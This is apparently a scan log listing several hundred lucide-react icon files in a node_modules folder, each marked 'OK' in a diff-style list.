+/scan/node_modules/lucide-react/dist/esm/icons/map-pin-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-arrow-out-down-left.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/baseline.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bug-play.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/satellite.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/fold-horizontal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/indian-rupee.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-function.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mail-question.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/fence.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-left-from-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-center.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-slash-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/credit-card.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shell.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/leafy-green.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ruler.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-plus-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flag-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hand-coins.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ear.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/route.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-open-text.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-check.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/gamepad.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-horizontal-space-around.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-power.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-narrow-wide.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clock-11.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-narrow-wide.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cpu.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-big-right.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevron-up-circle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-sliders.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clipboard-check.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bed-double.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clipboard-pen.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-chevron-left.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/battery-warning.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/unlock-keyhole.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shield-check.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-up.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wand-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sliders.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-plus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/martini.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pen-box.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-10.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ampersands.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/radar.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tally-3.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pause.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-center-vertical.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/asterisk-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-input.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/table-properties.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-image.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scan-text.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wallet-cards.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-left-close.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rotate-cw-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/search-x.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/lollipop.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/smile-plus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rows.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hand-platter.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/trash.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/donut.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/copy-minus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square-x.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-minus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/gavel.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/brush.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/swiss-franc.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-right-from-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cake.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/case-lower.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flag-triangle-left.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-horizontal-justify-end.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dice-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mouse-pointer-click.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folders.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/server-cog.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ellipsis.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/toy-brick.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/gallery-vertical.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bell-dot.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-power.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bolt.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-x.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sheet.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/disc-3.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-cent.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-left-circle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-down.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hard-drive-download.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-10.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-parking.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-arrow-out-up-right.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/map-pin.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-video.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/phone-call.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/database.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-code-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/alarm-smoke.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-circle-dashed.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-fold.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mouse-pointer.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-0-1.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/corner-right-down.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/paintbrush-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevrons-down.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-video.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scale.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/citrus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/upload-cloud.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-dashed.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shield-ban.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pentagon.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-open-check.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-edit.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pen-line.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shopping-basket.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/puzzle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/receipt-text.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/eye.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/regex.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/form-input.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-arrow-down-left.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flip-horizontal-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shower-head.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-pie-chart.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/notebook-text.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wrench.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/git-pull-request-closed.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/signal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/monitor-down.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/play-circle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-check.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-up.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square-plus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/spell-check.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/route.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/locate.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-search.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-pause.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/git-pull-request-arrow.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bookmark-minus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-archive.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wine.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/fold-vertical.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/lock.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/minimize.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-chevron-down.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pen-box.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/zap.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloud-fog.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/briefcase-medical.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/columns-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-cog-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-signature.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/between-horizonal-end.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/power-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/disc.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/download.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-az.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mail.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-m.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clock.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shopping-bag.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pizza.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rows-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/alarm-clock-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/receipt-pound-sterling.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-parking-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/spade.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-big-right-dash.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sun-medium.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-minus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scroll.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-left-right.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/paintbrush-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-check-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/paint-bucket.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bed-single.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/door-open.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/text-selection.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ship-wheel.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-up.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/list-ordered.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/signal-medium.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/milk.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/memory-stick.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/layout.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/copy-slash.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-minus-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-circle-more.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/grid-3-x-3.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bot-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/phone-incoming.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shell.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wand-sparkles.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/monitor-dot.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/satellite-dish.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevrons-right.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/battery-charging.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/snail.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/navigation-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/a-arrow-up.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-alert.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-left-inactive.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/type.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-left.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-wide-narrow.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/fuel.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/text-cursor-input.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-badge-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cat.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-cent.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/merge.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-question.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hdmi-port.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tree-deciduous.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/diamond-percent.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tent.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pause-octagon.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/package-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/archive-restore.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tree-pine.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/diameter.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/search.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-za.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/component.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/factory.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/feather.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/minimize-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bitcoin.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ticket-check.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-left-to-line.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/waypoints.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/briefcase-medical.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-x.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-end-horizontal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tags.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/equal-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/underline.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clipboard-signature.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-parking.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-z-a.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/key.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/terminal-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/megaphone-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/paperclip.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-z-a.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ungroup.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/network.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dice-6.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sticky-note.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-code.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-pi.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-edit.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/heading-6.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/git-commit-vertical.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wallet-cards.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/vibrate-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/timer.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/monitor-dot.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-arrow-out-up-right.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tablet.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-down.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/fold-vertical.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/egg-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ampersand.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/worm.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/home.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/thermometer.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/award.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/radiation.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/send.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/gallery-thumbnails.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/quote.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/strikethrough.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/divide-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mails.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/layers-3.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/languages.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/videotape.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/eraser.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panels-top-bottom.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sigma-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-round-search.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/grid-2x2-x.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/battery.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/copy-check.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-center.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clipboard-minus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/trending-up.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/fingerprint.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hourglass.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clipboard.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/plane.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/parking-circle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-circle-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scan-search.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mouse-pointer-square-dashed.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/swatch-book.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/watch.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hand-coins.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/move-right.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sidebar-open.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-chevron-left.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-help.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-open-dot.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/touchpad-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pocket.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-box.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/thumbs-up.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/signal-zero.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/alarm-check.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/asterisk-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/building.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sidebar.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/list-x.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/phone-incoming.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/club.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-pi.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dog.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/reply.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/citrus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/satellite-dish.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chef-hat.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rocking-chair.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/egg.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flashlight.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/slack.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sliders-horizontal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/send.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/skip-back.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-from-line.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/gitlab.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cable-car.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/image-up.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/construction.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/church.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/anvil.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/step-back.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/receipt-swiss-franc.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scissors.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloudy.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dice-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-divide.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/car-taxi-front.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/copy-check.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/move-3-d.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-center-horizontal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flip-vertical.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-az.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/package-open.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-divide.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-gantt-chart.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rotate-ccw-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/move-vertical.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/album.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shirt.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/axis-3-d.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-left-close.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/zap.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tv-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevron-last.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-pound-sterling.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/toy-brick.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pin-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/leaf.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-top.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bell-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tangent.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-right.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hand.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clock-1.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/gallery-horizontal-end.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ice-cream-cone.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/between-vertical-start.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/phone-outgoing.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/unlink.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shield.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevron-right.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-fading-plus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/squircle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/smile-plus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-code.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/filter.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-parking.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/refrigerator.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-vertical-distribute-start.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-divide.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/function-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/headphones.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/settings-2.js.map: OK
